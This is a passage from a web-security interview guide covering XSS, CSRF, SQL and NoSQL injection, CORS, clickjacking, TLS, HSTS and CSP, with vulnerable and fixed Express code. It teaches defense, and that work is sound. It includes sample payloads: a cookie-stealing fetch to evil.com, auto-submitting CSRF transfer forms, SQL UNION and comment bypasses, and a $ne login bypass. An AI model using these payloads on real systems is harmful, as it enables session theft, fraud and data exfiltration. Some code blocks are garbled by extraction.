// Timing-safe comparison — same time whether right or wrong

// Bcrypt in register/login flow:
async function register({ email, password }) {
  const hash = await bcrypt.hash(password, 12)
  return User.create({ email, passwordHash: hash })
}

async function login({ email, password }) {
  const user = await User.findOne({ email }).select("+passwordHash")
  if (!user) {
    // Dummy compare to prevent timing attacks!
    await bcrypt.hash("dummy", 12)
    return null
```

```
}
```

```
  const valid = await bcrypt.compare(password, user.passwordHash)
  return valid ? user : null
}
```

■ Interview Tip:
Even when user is not found, call bcrypt.compare or bcrypt.hash with a dummy value to prevent timing attacks. Without this, attackers can tell "user doesn't exist" from response time differences.

Q21 What is XSS?

■ Answer

XSS (Cross-Site Scripting) injects malicious scripts into web pages viewed by other users.

The script executes in the victim's browser with their session privileges.

Why dangerous:

- Steal cookies / tokens (session hijacking)
- Log keystrokes (capture passwords)
- Redirect to phishing sites
- Deface the website

Root cause:

- User input rendered as HTML/JavaScript without escaping

```
// ■ Vulnerable: user input directly in HTML
document.getElementById("name").innerHTML = req.query.name
// Attack URL: ?name=<scr>fetch("evil.com?c="+document.cookie)</script>
// → script executes! Steals cookies.

// ■ Safe: textContent (auto-escapes HTML)
document.getElementById("name").textContent = req.query.name
// \u003Cscript\u003E treated as literal text, not HTML

// ■ React — auto-escapes JSX content
return <div>{userInput}</div>  // safe by default

// ■ React bypass — dangerous!
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
// Only use with DOMPurify-sanitized content!

// ■ Sanitize HTML (for rich text editors)
const DOMPurify = require("isomorphic-dompurify")
const clean = DOMPurify.sanitize(userHtml, {
  ALLOWED_TAGS: ["p", "b", "i", "a"],
  ALLOWED_ATTR: ["href"]
})
```

■ **Interview Tip:**
React automatically escapes JSX content, preventing most XSS. But dangerouslySetInnerHTML bypasses this — only use it with DOMPurify-sanitized content.

Q22 Types of XSS?

■ Answer

3 types of XSS attacks based on how the payload is delivered.

1. Stored XSS (Persistent):

- Payload saved in database (comments, profiles)
- Every user who views it is attacked
- Most dangerous type
- Fix: sanitize on INPUT and escape on OUTPUT

2. Reflected XSS:

- Payload in URL parameter, reflected in response
- Attacker tricks user into clicking malicious URL
- Doesn't persist — requires user to click link
- Fix: escape all URL params before rendering

3. DOM-based XSS:

- Client-side JS reads from URL and writes to DOM unsafely
- No server involved — purely client-side
- Fix: never use innerHTML/eval with URL data

```
// 1. STORED XSS — payload in database
// Attacker posts comment: <script>stealCookies()</script>
// Server saves it → every viewer is attacked!
// Fix: sanitize on save + escape on render
const cleanComment = DOMPurify.sanitize(req.body.comment)

// 2. REFLECTED XSS — payload in URL
// URL: /search?q=<script>alert(1)</script>
// Vulnerable: res.send(`Results for: ${req.query.q}`)
// Safe: escape before rendering
const escapeHtml = (str) =>
  str.replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;")
res.send(`Results for: ${escapeHtml(req.query.q)}`)

// 3. DOM-BASED XSS — client-side JS reads URL
// URL: /page#<img src=x onerror=alert(1)>
// Vulnerable:
document.getElementById("msg").innerHTML = location.hash.slice(1)
// Safe:
document.getElementById("msg").textContent = location.hash.slice(1)

// Or use URL params safely:
const params = new URLSearchParams(location.search)
element.textContent = params.get("name")  // auto-escapes
```

■ Interview Tip:
Stored XSS is the most dangerous — it affects all users who view the content, not just those who click a specific link. Always sanitize on input (reject/clean dangerous content) AND escape on output (HTML encode before rendering).

Q23 How to prevent XSS?

■ Answer

XSS prevention requires multiple layers of defense.

Prevention techniques:

- Output encoding — escape HTML before rendering
- Content Security Policy (CSP) — whitelist allowed script sources
- HttpOnly cookies — JS can't access session cookies
- Input validation/sanitization — reject or clean dangerous input
- DOMPurify — sanitize user-generated HTML
- Never use innerHTML with user data

Framework defaults:

- React JSX — auto-escapes content
- Handlebars {{expr}} — auto-escapes
- Vue template bindings — auto-escapes
- Angular — auto-escapes by default

Bypass risks:

- dangerouslySetInnerHTML (React)
- v-html directive (Vue)
- [innerHTML]= (Angular)

```
// Layer 1: Content Security Policy
app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'"],  // no inline scripts
      objectSrc: ["'none'"],
      upgradeInsecureRequests: []
    }
  }
}))

// Layer 2: DOMPurify for user HTML
const DOMPurify = require("isomorphic-dompurify")
const safeHtml = DOMPurify.sanitize(userContent)

// Layer 3: Input validation (reject dangerous patterns)
const xssPattern = /<script|javascript:|on\w+\s*=/i
if (xssPattern.test(req.body.comment)) {
  return res.status(400).json({ error: "Invalid content" })
}

// Layer 4: HttpOnly cookies (JS can't steal them)
res.cookie("session", token, { httpOnly: true })

```

```
// Layer 5: Zod validation (only allow expected shape)
```

```
const commentSchema = z.object({
  text: z.string().max(500).regex(/^[\w\s.,!?-]+$/)
})
```

■ Interview Tip:
Defense in depth: CSP limits script execution even if XSS occurs. HttpOnly cookies mean stolen scripts can't exfiltrate session tokens. DOMPurify cleans the HTML. Multiple layers are needed because any single layer can have gaps.

Q24 What is CSRF?

■ Answer

CSRF (Cross-Site Request Forgery) tricks users into making unwanted requests to a site where they're authenticated.

Attack mechanism:

- Victim is logged into bank.com (cookie stored)
- Victim visits evil.com
- evil.com triggers request to bank.com/transfer
- Browser includes bank.com cookie automatically!
- Bank processes the request — victim didn't consent

Key

- Exploits the browser's automatic cookie sending
- Attacker doesn't need to see the response
- Works for state-changing actions (POST, PUT, DELETE)

Not applicable when:

- Using JWT in Authorization header (cross-site can't set headers)
- SameSite=Strict cookies in use

```
// CSRF attack via evil.com:

// Method 1: Hidden form auto-submit
// <form action="https://bank.com/transfer" method="POST">
//   <input name="to" value="attacker123">
//   <input name="amount" value="5000">
// </form>
// <s>document.forms[0].submit()</script>

// Method 2: Img tag GET request
// <img src="https://bank.com/api/transfer?to=attacker&amount=5000">
// Even a GET request can change state (bad API design!)

// Method 3: Fetch with credentials
// fetch("https://bank.com/api/transfer", {
//   method: "POST",
//   credentials: "include",  // sends cookies!
//   body: JSON.stringify({ to: "attacker", amount: 5000 })
// })

// Why it works:
// Browser has: bank.com session cookie
// evil.com triggers request to bank.com
// Browser automatically includes cookie!
// Server sees valid session → processes transfer
```

■ Interview Tip:

CSRF only works because browsers auto-include cookies. It can't set custom headers (like Authorization: Bearer) or read responses. So JWT-in-header auth is naturally CSRF-immune, and SameSite cookies prevent CSRF without extra tokens.

Q25 How CSRF works?

■ Answer

Step-by-step CSRF attack walkthrough.

Step-by-step:

1. Victim logs into victim-site.com
2. Browser stores victim-site.com session cookie
3. Victim navigates to evil.com (separate tab)
4. evil.com page contains request targeting victim-site.com
5. Browser sends request + auto-attaches cookie
6. victim-site.com sees valid session → processes request
7. Victim never consented!

Prerequisites for CSRF:

- Victim must be authenticated
- Cookie-based authentication
- Server trusts the cookie alone (no origin check)
- Action can be triggered by a simple request

```
// Detailed CSRF attack flow:

// 1. Victim logs in to bank.com
// POST /login → Set-Cookie: sessionId=abc123; HttpOnly

// 2. Bank has vulnerable endpoint:
// POST /transfer → uses sessionId cookie for auth

// 3. Attacker crafts evil.com/attack.html:
// <body onload="document.csrf_form.submit()">
//   <form name="csrf_form"
//         action="https://bank.com/transfer"
//         method="post">
//     <input name="amount" value="10000">
//     <input name="recipient" value="attacker_acct">
//   </form>
// </body>

// 4. Victim visits evil.com/attack.html
// Form auto-submits to bank.com
// Browser: "I have a cookie for bank.com → include it"
// bank.com sees valid session → processes $10,000 transfer!

// 5. Why victim-site can't tell it's malicious:
// Request looks identical to a legitimate transfer
// Same IP (victim's browser), same cookie
// Without CSRF protection → cannot distinguish
```

■ **Interview Tip:**
Notice the victim's browser is weaponized against them — it makes a request the victim didn't intend. The key defense is proving the request came from YOUR site (SameSite cookie or CSRF token), not just that the user is authenticated.

Q26 CSRF prevention techniques?

■ Answer

Multiple approaches to prevent CSRF attacks.

1. SameSite Cookie (modern, recommended):

- SameSite=Strict — cookie never sent cross-site
- SameSite=Lax — cookie not sent on cross-site POST
- Simple, no extra tokens needed

2. CSRF Token:

- Server generates secret token per session
- Included in forms/headers
- Server validates token on state-changing requests
- evil.com can't forge it (can't read your page)

3. Double Submit Cookie:

- Same CSRF token in cookie AND request body/header
- Server checks they match

4. Origin/Referer header check:

- Verify request came from your own origin
- Browsers cannot spoof Origin header

```
// Prevention 1: SameSite cookie (simplest!)
res.cookie("sessionId", token, {
  httpOnly: true,
  secure: true,
  sameSite: "strict",  // NOT sent cross-site
})

// Prevention 2: CSRF Token
const csrf = require("csurf")
const csrfProtection = csrf({ cookie: true })

app.get("/form", csrfProtection, (req, res) => {
  res.json({ csrfToken: req.csrfToken() })
})
app.post("/transfer", csrfProtection, (req, res) => {
  // Middleware validates token automatically
  processTransfer(req.body)
})

// Client must send token in header:
// fetch("/transfer", {
//   method: "POST",
//   headers: { "X-CSRF-Token": csrfToken },
})

```

```
// Prevention 3: Origin header check
```

```
app.use((req, res, next) => {
  if (["POST","PUT","DELETE"].includes(req.method)) {
    const origin = req.get("origin")
    if (origin && !allowedOrigins.has(origin)) {
      return res.status(403).json({ error: "CSRF blocked" })
    }
  }
  next()
})
```

■ **Interview Tip:**
SameSite=Strict cookies are the modern CSRF solution. If you use JWT in Authorization headers (not cookies), CSRF isn't an issue since cross-site requests can't set custom headers.

Q27 What is SQL injection?

■ Answer

SQL injection occurs when user input is interpolated into SQL queries, allowing attackers to manipulate the query.

Classic example:

- Input: admin'--
- Query becomes: WHERE email='admin'-- '
- Comment (--) removes the rest → no password check!

Attack goals:

- Authentication bypass
- Data exfiltration (dump entire database)
- Data manipulation (delete/modify records)
- Remote code execution (in some databases)

Prevention:

- Parameterized queries / prepared statements
- ORMs (Prisma, TypeORM) use parameterized queries
- Input validation (whitelist expected formats)
- Least privilege DB user (no DROP TABLE access)

```
// ■ VULNERABLE — string interpolation
const email = req.body.email  // "admin'--"
const query = `SELECT * FROM users WHERE email='${email}\`
// Query: SELECT * FROM users WHERE email='admin'--'
// Logs in as admin without password!

// More dangerous: UNION attack
// Input: ' UNION SELECT username,password FROM users--
// Dumps entire users table!

// ■ SAFE — parameterized query
const result = await pool.query(
  "SELECT * FROM users WHERE email = $1",
  [req.body.email]  // value separate from query!
)
// Email treated as literal data, not SQL syntax

// ■ SAFE — Prisma ORM (auto-parameterized)
const user = await prisma.user.findUnique({
  where: { email: req.body.email }  // safe by design
})

// ■ Least privilege DB user
// CREATE USER app_user WITH PASSWORD '...';
// GRANT SELECT, INSERT, UPDATE ON users TO app_user;
// NO DROP, NO CREATE → limits damage if injected
```

■ Interview Tip:

Use an ORM (Prisma, Sequelize) or always use parameterized queries — never string concatenation. Also apply database least privilege: app DB user should only have SELECT/INSERT/UPDATE, not DROP or TRUNCATE.

Q28 How to prevent SQL injection?

■ Answer

Defense-in-depth approach to SQL injection prevention.

Primary defense:

- Parameterized queries — values sent separately from SQL
- Prepared statements — query pre-compiled, data added later
- ORMs — abstract away raw SQL safely

Secondary defenses:

- Input validation — reject unexpected characters for specific fields
- Whitelist validation — only allow expected patterns
- Stored procedures — predefined SQL, no concatenation

Additional hardening:

- DB least privilege — app user can't DROP tables
- WAF (Web Application Firewall) — blocks common patterns
- Error handling — never expose SQL errors to users
- Regular security audits

```
// 1. Parameterized queries (node-postgres)
const { rows } = await pool.query(
  "SELECT * FROM users WHERE email = $1 AND active = $2",
  [email, true]
)

// 2. MySQL parameterized queries
const [rows] = await connection.execute(
  "SELECT * FROM users WHERE email = ? AND active = ?",
  [email, 1]
)

// 3. Prisma (safe by design)
const users = await prisma.user.findMany({
  where: { email, active: true }
})

// 4. Input validation (whitelist)
const emailSchema = z.string().email().max(255)
const safeEmail = emailSchema.parse(req.body.email)
// Throws if not valid email format

// 5. Never expose DB errors
try {
  const result = await pool.query(sql, params)
} catch (err) {
  console.error(err)  // log internally
  res.status(500).json({ error: "Database error" })  // generic msg
```

```
// Never: res.json({ error: err.message })
```

```
30 }
```

■ **Interview Tip:**
Parameterized queries are the definitive fix. But also suppress SQL error messages in responses — detailed DB errors reveal schema structure and help attackers craft more targeted injections.

Q29 What is NoSQL injection?

■ Answer

NoSQL injection exploits apps that use unsanitized user input in MongoDB queries.

MongoDB operator injection:

- Attacker sends JSON operators instead of string values
- Example: { "password": { "$ne": "" } }
- Query finds any user with non-empty password = bypass!

Attack scenarios:

- Auth bypass via $ne, $gt operators
- Data exfiltration via $where with JS code
- DoS via expensive $regex patterns

Prevention:

- Validate input types with Zod/Joi
- Use express-mongo-sanitize (strips $ and .)
- Never query password directly — use hash comparison
- Disable $where operator (server-side JS execution)

```
// ■ VULNERABLE MongoDB login
// Request body: { email: "admin@test.com", password: { "$ne": "" } }
const user = await User.findOne({
  email: req.body.email,
  password: req.body.password  // attacker sends { $ne: "" }
  // → finds user with this email + ANY non-empty password!
})

// ■ Prevention 1: express-mongo-sanitize
const mongoSanitize = require("express-mongo-sanitize")
app.use(mongoSanitize())  // strips keys with $ or .

// ■ Prevention 2: Zod validation (enforces string type)
const loginSchema = z.object({
  email: z.string().email(),
  password: z.string().min(8)  // must be string — rejects objects
})
const { email, password } = loginSchema.parse(req.body)
// { $ne: "" } fails z.string() validation

// ■ Prevention 3: Never query by raw password
// Only find by email, then compare with bcrypt
const user = await User.findOne({ email }).select("+passwordHash")
const isValid = await bcrypt.compare(password, user?.passwordHash)
// Completely eliminates NoSQL injection on auth endpoint
```

■ **Interview Tip:**
The safest MongoDB login approach: NEVER query by password. Find user by email (a simple string match), then use bcrypt.compare() for password verification. This eliminates NoSQL injection on the auth endpoint entirely.

Q30 What is CORS attack?

■ Answer

CORS (Cross-Origin Resource Sharing) misconfiguration can allow unauthorized origins to access your API.

What CORS does:

- Browser blocks cross-origin requests by default (Same-Origin Policy)
- CORS headers tell the browser which origins are allowed
- Only applies to browsers — not Postman/curl

Misconfiguration risks:

- Access-Control-Allow-Origin: * → any site can call your API
- Reflecting Origin without validation → any origin auto-allowed
- * with credentials → this is blocked by browser, but still bad practice

Proper CORS config:

- Whitelist specific trusted origins
- Never use * for credentialed requests
- Restrict allowed methods and headers

```
const cors = require("cors")

// ■ BAD — allows any origin
app.use(cors())
// or: res.setHeader("Access-Control-Allow-Origin", "*")

// ■ BAD — reflecting origin without validation
app.use((req, res, next) => {
  res.setHeader("Access-Control-Allow-Origin", req.headers.origin)
  // → any site can access your API with credentials!
})

// ■ CORRECT — whitelist specific origins
const allowedOrigins = new Set([
  "https://myapp.com",
  "https://www.myapp.com",
  process.env.NODE_ENV === "development" && "http://localhost:3000"
].filter(Boolean))

app.use(cors({
  origin: (origin, callback) => {
    // Allow server-to-server (no origin) or whitelisted origins
    if (!origin || allowedOrigins.has(origin)) {
      callback(null, true)
    } else {
      callback(new Error("Not allowed by CORS"))
    }
  },
  credentials: true,  // allow cookies
```

```
  methods: ["GET", "POST", "PUT", "DELETE"],
```

```
    allowedHeaders: ["Content-Type", "Authorization"]
}))
```

■ Interview Tip:
CORS is a browser security feature — not server security. Curl and Postman ignore CORS headers. CORS protects your users from malicious websites calling your API with their credentials, not your API itself from attackers.

Q31 What is clickjacking?

■ Answer

Clickjacking tricks users into clicking elements on your site embedded in an invisible iframe on an attacker's site.

How it works:

- Attacker embeds your site in a transparent iframe
- Attacker places decoy UI over your site
- User thinks they're clicking attacker's button
- Actually clicking your site's button (e.g., "Transfer Funds")

Prevention:

- X-Frame-Options header — prevents iframe embedding
- CSP frame-ancestors directive — modern alternative
- Frame-busting JS — last resort (bypassable)

Headers:

- X-Frame-Options: DENY — no iframes ever
- X-Frame-Options: SAMEORIGIN — only same origin iframes
- CSP: frame-ancestors 'none' — no iframes

```
// ■ Prevention: X-Frame-Options header
app.use((req, res, next) => {
  res.setHeader("X-Frame-Options", "DENY")
  // or "SAMEORIGIN" if you iframe your own content
  next()
})

// ■ Modern: CSP frame-ancestors (replaces X-Frame-Options)
app.use(helmet({
  frameguard: { action: "deny" },  // sets X-Frame-Options
  contentSecurityPolicy: {
    directives: {
      frameAncestors: ["'none'"],  // no iframes anywhere
    }
  }
}))

// frame-ancestors 'self' — only your own domain can iframe
// frame-ancestors https://trusted.com — only trusted.com

// ■ Frame-busting JS (unreliable, bypassable)
// if (window !== window.top) window.top.location = window.location
// Attacker can sandbox iframe: <iframe sandbox="allow-scripts">
// → prevents frame-busting from working!

// Use helmet.js — applies all security headers:
app.use(helmet())  // sets X-Frame-Options, CSP, HSTS, and more
```

■ Interview Tip:

Use helmet.js — it sets X-Frame-Options, CSP, HSTS, and many other security headers in one line. Always add this to any Express app. CSP frame-ancestors is the modern replacement for X-Frame-Options.

Q32 What is MITM attack?

■ Answer

MITM (Man-in-the-Middle) attack intercepts communication between two parties.

How it works:

- Attacker positions between client and server
- Intercepts and can modify traffic
- Client thinks it's talking to server and vice versa

Attack scenarios:

- Public WiFi interception (HTTP traffic)
- ARP poisoning (local network)
- DNS spoofing
- Rogue WiFi hotspot

Prevention:

- HTTPS (TLS) — encrypts all traffic
- HSTS — force HTTPS, no downgrades
- Certificate pinning — verify server certificate
- HPKP (deprecated — use CT instead)
- Never send sensitive data over HTTP

```
// Prevention 1: Enforce HTTPS
app.use((req, res, next) => {
  if (req.header("x-forwarded-proto") !== "https" &&
      process.env.NODE_ENV === "production") {
    return res.redirect(`https://${req.header("host")}${req.url}`)
  }
  next()
})

// Prevention 2: HSTS — tells browser to always use HTTPS
app.use(helmet.hsts({
  maxAge: 31536000,        // 1 year in seconds
  includeSubDomains: true, // applies to subdomains
  preload: true            // submit to browser preload list
}))
// Browser caches: "Always use HTTPS for this domain"
// Even if user types http:// — browser upgrades to https://

// Prevention 3: Certificate Transparency
// No code needed — browsers enforce CT automatically
// CAs log all issued certs → detect rogue certificates

// Prevention 4: For mobile apps — certificate pinning
// Pin specific cert fingerprint in app bundle
// App rejects any other cert even if CA-signed
// But: hard to update if cert changes
```

■ Interview Tip:

HTTPS (TLS) makes MITM impractical by encrypting all traffic and verifying server identity via certificates. HSTS ensures clients

Q33 What is brute force attack?

■ Answer

Brute force attacks systematically try all possible passwords or credentials.

Types:

- Pure brute force — try all character combinations
- Dictionary attack — try common passwords/words
- Credential stuffing — use leaked email/password lists
- Password spraying — few common passwords across many accounts

Prevention:

- Rate limiting — limit login attempts per IP/account
- Account lockout — temporary lock after N failures
- Progressive delays — increase wait time after failures
- CAPTCHA — after failed attempts
- MFA — even correct password not enough
- Bcrypt — slow hashing makes offline brute force slow

```
const rateLimit = require("express-rate-limit")

// Rate limit login endpoint
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,  // 15 minutes
  max: 5,                    // max 5 attempts
  message: "Too many login attempts, try again in 15 minutes",
  standardHeaders: true,
  legacyHeaders: false,
  // Key by IP + email combination
  keyGenerator: (req) => `${req.ip}:${req.body.email}`,
})

app.post("/login", loginLimiter, async (req, res) => { ... })

// Progressive delay (using Redis)
async function trackLoginAttempt(userId) {
  const key = `login_attempts:${userId}`
  const attempts = await redis.incr(key)
  await redis.expire(key, 900)  // 15 min window

  if (attempts >= 10) {
    // Lock account, notify user
    await User.findByIdAndUpdate(userId, {
      lockedUntil: new Date(Date.now() + 30 * 60 * 1000)  // 30 min
    })
  }
  return attempts
}
```

■ Interview Tip:

Rate limiting by IP alone is insufficient — attackers use botnets with thousands of IPs. Rate limit by IP AND by account (email). Credential stuffing is more practical than brute force — protect against it by checking HaveIBeenPwned for breached passwords on

Q34 What is rate limiting?

■ Answer

Rate limiting restricts how many requests a client can make in a time window.

Goals:

- Prevent brute force attacks
- Protect against DoS / DDoS
- Ensure fair API usage
- Prevent scraping

Algorithms:

- Fixed window — N requests per minute window
- Sliding window — N requests in last 60 seconds
- Token bucket — fill at rate R, burst up to N
- Leaky bucket — constant output rate

Rate limit keys:

- By IP — basic, bypassable with VPN/botnet
- By user ID — better for authenticated routes
- By API key — for public APIs
- By IP + endpoint — different limits per route

```
const rateLimit = require("express-rate-limit")
const RedisStore = require("rate-limit-redis")

// General API rate limit
app.use("/api/", rateLimit({
  windowMs: 60 * 1000,  // 1 minute
  max: 100,             // 100 requests/minute
  store: new RedisStore({ client: redis }),  // shared across servers
  standardHeaders: true,  // Return rate limit info in headers
  // Rate-Limit-Limit, Rate-Limit-Remaining, Rate-Limit-Reset
}))

// Strict limit for auth endpoints
app.use("/api/auth/", rateLimit({
  windowMs: 15 * 60 * 1000,  // 15 min
  max: 10,
  skipSuccessfulRequests: true,  // only count failures
}))

// Custom: rate limit authenticated users by userId
const userRateLimit = rateLimit({
  windowMs: 60 * 1000,
  max: 200,
  keyGenerator: (req) => req.user?.id || req.ip
})

```

```
// Return 429 Too Many Requests
```

```
// Headers inform client when to retry:
// Retry-After: 60
// X-RateLimit-Reset: 1699901000
```

■ Interview Tip:
Store rate limit state in Redis when running multiple server instances — in-memory rate limiting only works for single-instance apps. On distributed systems, each server has its own counter without a shared store.

Q35 What is DDoS attack?

■ Answer

DDoS (Distributed Denial of Service) floods a server with traffic to make it unavailable.

How it works:

- Attacker controls a botnet (thousands of compromised devices)
- All devices send requests simultaneously
- Server overwhelmed — crashes or slows for legitimate users

Types:

- Volume attacks — flood with packets (UDP flood)
- Protocol attacks — exploit TCP/IP weaknesses (SYN flood)
- Application layer — HTTP floods targeting specific endpoints

Prevention (app layer):

- Rate limiting per IP
- CDN (Cloudflare, AWS Shield) absorbs traffic
- Auto-scaling infrastructure
- Block known malicious IPs
- CAPTCHA on expensive endpoints
- Graceful degradation

```
// App-level DDoS protection with rate limiting
const rateLimit = require("express-rate-limit")

// Aggressive limit for all routes
app.use(rateLimit({
  windowMs: 60 * 1000,
  max: 100,
  message: "Too many requests",
}))

// Protect expensive endpoints (search, login)
const heavyEndpointLimiter = rateLimit({
  windowMs: 60 * 1000,
  max: 10,
})
app.get("/api/search", heavyEndpointLimiter, searchHandler)

// Block known bad IPs (store in Redis set)
app.use(async (req, res, next) => {
  const isBanned = await redis.sismember("banned_ips", req.ip)
  if (isBanned) return res.status(403).json({ error: "Blocked" })
  next()
})

// For real DDoS protection → use Cloudflare / AWS Shield
// App-level protection alone insufficient for volumetric attacks
```

```
// CDN absorbs traffic before it reaches your servers
```

```
28
29  // Response time budgets — fail fast
30  const TIMEOUT = 5000
31  req.setTimeout(TIMEOUT, () => res.status(503).json({ error: "Timeout" }))
```

■ Interview Tip:
App-level rate limiting only helps against application-layer DDoS. Volumetric DDoS (gigabits of traffic) requires CDN/DDoS mitigation services like Cloudflare, AWS Shield, or Fastly. These absorb attacks before traffic reaches your server.

Q36 What is HTTPS?

■ Answer

HTTPS (HTTP Secure) is HTTP over TLS — encrypts all data between browser and server.

What TLS provides:

- Encryption — data unreadable in transit
- Authentication — verify you're talking to the real server (certificate)
- Integrity — data hasn't been modified (HMAC)

TLS Handshake (simplified):

1. Client says "Hello" with supported TLS versions
2. Server responds with its certificate
3. Client verifies certificate (CA signature)
4. Key exchange (ECDHE)
5. Symmetric session key established
6. All data encrypted with session key

Why important:

- Without HTTPS: passwords, tokens, data visible on network
- With HTTPS: encrypted blob — unreadable to MITM

```
// Node.js HTTPS server
const https = require("https")
const fs = require("fs")

const options = {
  key: fs.readFileSync("/path/to/private-key.pem"),
  cert: fs.readFileSync("/path/to/certificate.pem"),
  // ca: fs.readFileSync("/path/to/ca.pem")  // for self-signed
}

https.createServer(options, app).listen(443)

// In production: use nginx or load balancer for TLS termination
// App runs on HTTP internally, nginx handles HTTPS

// Redirect HTTP to HTTPS
app.use((req, res, next) => {
  if (req.headers["x-forwarded-proto"] !== "https") {
    return res.redirect(301, `https://${req.hostname}${req.url}`)
  }
  next()
})

// HSTS: browser remembers to use HTTPS
res.setHeader("Strict-Transport-Security",
  "max-age=31536000; includeSubDomains; preload"
)
```

```
// Free certs via Let's Encrypt (certbot)
// certbot --nginx -d myapp.com
```

■ Interview Tip:
In production, terminate TLS at a load balancer or reverse proxy (nginx, AWS ALB) rather than in your Node.js app. This is more performant and easier to manage certificates. Your app servers communicate internally over HTTP.

Q37 SSL vs TLS?

■ Answer

SSL and TLS are cryptographic protocols for securing network communication.

History:

- SSL 1.0/2.0/3.0 — Netscape, 1994-1996 (all deprecated)
- TLS 1.0 — 1999 (based on SSL 3.0, deprecated 2020)
- TLS 1.1 — 2006 (deprecated 2020)
- TLS 1.2 — 2008 (still widely used)
- TLS 1.3 — 2018 (current, faster + more secure)

Key differences TLS 1.3:

- 1-RTT handshake (was 2-RTT in 1.2)
- 0-RTT resumption for returning clients
- Removed weak ciphers (DES, RC4, SHA-1)
- Forward secrecy mandatory

Common confusion:

- "SSL certificate" is just a term — the cert itself is the same
- Modern servers use TLS 1.2 or 1.3
- SSL is dead — nobody actually uses SSL anymore

```
// Check TLS config in Node.js
const tls = require("tls")

// Force minimum TLS version
const server = https.createServer({
  key: privateKey,
  cert: certificate,
  minVersion: "TLSv1.2",  // reject older TLS
  maxVersion: "TLSv1.3",

  // Specify secure cipher suites
  ciphers: [
    "TLS_AES_256_GCM_SHA384",      // TLS 1.3
    "TLS_CHACHA20_POLY1305_SHA256", // TLS 1.3
    "ECDHE-RSA-AES256-GCM-SHA384", // TLS 1.2
  ].join(":"),

  // Prefer server cipher order
  honorCipherOrder: true
}, app)

// Test TLS config:
// openssl s_client -connect myapp.com:443 -tls1_2
// Or use: ssllabs.com/ssltest for full audit

// Nginx TLS config (recommended):
```

```
// ssl_protocols TLSv1.2 TLSv1.3;
```

```
// ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:...;
// ssl_prefer_server_ciphers off;  // TLS 1.3 doesn't need this
```

■ Interview Tip:
Always use TLS 1.2 as minimum, prefer TLS 1.3. Disable SSL 2.0, 3.0, TLS 1.0, 1.1 — they have known vulnerabilities. Use ssllabs.com to audit your TLS configuration and get an A+ rating.

Q38 What is HSTS?

■ Answer

HSTS (HTTP Strict Transport Security) forces browsers to always use HTTPS for a domain.

Problem it solves:

- User types "bank.com" (no https://)
- Browser first tries HTTP → attacker intercepts → MITM!
- HSTS tells browser: "Always use HTTPS, never HTTP"

How it works:

- Server sends: Strict-Transport-Security header
- Browser caches this instruction (max-age)
- Future visits: browser directly requests HTTPS
- Even HTTP links/bookmarks → upgraded to HTTPS

Directives:

- max-age — how long to remember (1 year = 31536000)
- includeSubDomains — applies to all subdomains
- preload — submit to browser preload list (hardcoded)

```
// Set HSTS header
app.use((req, res, next) => {
  // Only on HTTPS — browsers ignore HSTS over HTTP
  if (req.secure) {
    res.setHeader(
      "Strict-Transport-Security",
      "max-age=31536000; includeSubDomains; preload"
    )
  }
  next()
})

// With helmet (recommended):
app.use(helmet.hsts({
  maxAge: 31536000,
  includeSubDomains: true,
  preload: true
}))

// HSTS Preload: submit at hstspreload.RED
// Your domain gets hardcoded in Chrome/Firefox source
// Even first visit → HTTPS (before any header received)

// Nginx equivalent:
// add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload";

// ■■ Be careful with includeSubDomains
// All subdomains MUST support HTTPS
```

```
// Breaking change: if any subdomain isn't HTTPS-ready
```

■ **Interview Tip:**
HSTS preload is the gold standard — your domain is hardcoded into browsers to use HTTPS on first visit (no trust-on-first-use problem). Submit to hstspreload.RED once your site is HTTPS-only everywhere including all subdomains.

Q39 What is Content Security Policy?

■ Answer

CSP is a HTTP header that tells browsers which content sources are trusted.

What it controls:

- Script sources — where JS can come from
- Style sources — where CSS can load from
- Image sources — where images can load from
- Frame sources — what can be in iframes
- Connect sources — where XHR/fetch can go

Primary use: mitigate XSS

- Even if attacker injects a script
- Browser refuses to execute if not from whitelisted source
- "No inline scripts" policy blocks most XSS

Important directives:

- default-src 'self' — everything from same origin by default
- script-src — control script loading
- report-uri — violations reported here
- Content-Security-Policy-Report-Only — test without blocking

```
app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: [
        "'self'",
        "https://trusted-cdn.com",
        // "'unsafe-inline'" — avoid! allows inline scripts
      ],
      styleSrc: ["'self'", "'unsafe-inline'", "https://fonts.googleapis.com"],
      imgSrc: ["'self'", "data:", "https://images.cdn.com"],
      connectSrc: ["'self'", "https://api.myapp.com"],
      fontSrc: ["'self'", "https://fonts.gstatic.com"],
      objectSrc: ["'none'"],
      frameAncestors: ["'none'"],  // clickjacking prevention
      upgradeInsecureRequests: [],  // HTTP → HTTPS
      reportUri: "/csp-violation-report",
    }
  }
}))

// Report violations (log CSP issues)
app.post("/csp-violation-report",
  express.json({ type: "application/csp-report" }),
  (req, res) => {
    console.error("CSP violation:", req.body)
    res.status(204).send()
```

```
  }
)

// Test mode: report but don't block
res.setHeader("Content-Security-Policy-Report-Only",
  "default-src 'self'; report-uri /csp-violation-report"
)
```

■ **Interview Tip:**
Start with Content-Security-Policy-Report-Only to collect violations without breaking your site. Once you've fixed all violations, switch to enforcing mode. Avoid 'unsafe-inline' and 'unsafe-eval' — these negate most XSS protection.

Q40 What are security headers?

■ Answer

Security headers are HTTP response headers that instruct browsers to enable security protections.

Essential headers:

- Content-Security-Policy — controls content sources
- X-Frame-Options — prevent clickjacking
- X-Content-Type-Options — prevent MIME sniffing
- Strict-Transport-Security — force HTTPS
- Referrer-Policy — control referrer info
- Permissions-Policy — disable browser features
- X-XSS-Protection — legacy XSS filter (deprecated)

Use helmet.js:

- Sets all recommended headers in one line
- Battle-tested defaults
- Configurable per-header

```
// helmet.js — sets all security headers
const helmet = require("helmet")
app.use(helmet())

// What helmet sets by default:
// Content-Security-Policy: default-src 'self'; ...
// X-Frame-Options: SAMEORIGIN
// X-Content-Type-Options: nosniff
// Strict-Transport-Security: max-age=15552000; includeSubDomains
// Referrer-Policy: no-referrer
// X-Download-Options: noopen
// X-Permitted-Cross-Domain-Policies: none

// X-Content-Type-Options: nosniff
// Prevents browser from guessing content-type
// e.g., uploaded "image.png" that's actually JS won't execute

// Referrer-Policy
